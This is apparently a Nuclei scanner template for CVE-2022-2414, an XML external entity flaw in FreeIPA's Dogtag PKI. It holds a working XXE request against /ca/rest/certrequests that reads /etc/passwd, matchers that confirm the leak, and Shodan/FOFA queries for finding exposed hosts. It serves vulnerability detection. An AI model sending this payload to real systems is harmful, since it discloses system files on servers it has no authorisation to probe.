68 lines
2.2 KiB
YAML
68 lines
2.2 KiB
YAML
id: CVE-2022-2414
|
|
|
|
info:
|
|
name: FreeIPA - XML Entity Injection
|
|
author: DhiyaneshDk
|
|
severity: high
|
|
description: |
|
|
Access to external entities when parsing XML documents can lead to XML external entity (XXE) attacks. This flaw allows a remote attacker to potentially retrieve the content of arbitrary files by sending specially crafted HTTP requests.
|
|
remediation: |
|
|
Apply the latest security patches and updates provided by the vendor to fix the XML Entity Injection vulnerability in FreeIPA.
|
|
reference:
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/webapp/Dogtag/Dogtag%20PKI%20XML%E5%AE%9E%E4%BD%93%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-2414.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2414
|
|
- https://github.com/dogtagpki/pki/pull/4021
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2022-2414
|
|
cwe-id: CWE-611
|
|
epss-score: 0.0163
|
|
epss-percentile: 0.8606
|
|
cpe: cpe:2.3:a:dogtagpki:dogtagpki:10.5.18:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: dogtagpki
|
|
product: dogtagpki
|
|
shodan-query: title:"Identity Management" html:"FreeIPA"
|
|
fofa-query: title="Identity Management"
|
|
tags: cve,cve2022,dogtag,freeipa,xxe
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /ca/rest/certrequests HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
|
|
<!--?xml version="1.0" ?-->
|
|
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
|
|
<CertEnrollmentRequest>
|
|
<Attributes/>
|
|
<ProfileID>&ent;</ProfileID>
|
|
</CertEnrollmentRequest>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "PKIException"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/xml"
|
|
|
|
- type: status
|
|
status:
|
|
- 400
|
|
|
|
# digest: 4b0a00483046022100dd48b1607a8f7533848210659f901626cdffe587655dd19d22453bc62c56ee73022100a6bc7af1e8c93eab09ed7f1c0d255b3ab2f7867e0d162fb8a2021a2d9762594e:922c64590222798bb761d5b6d8e72950
|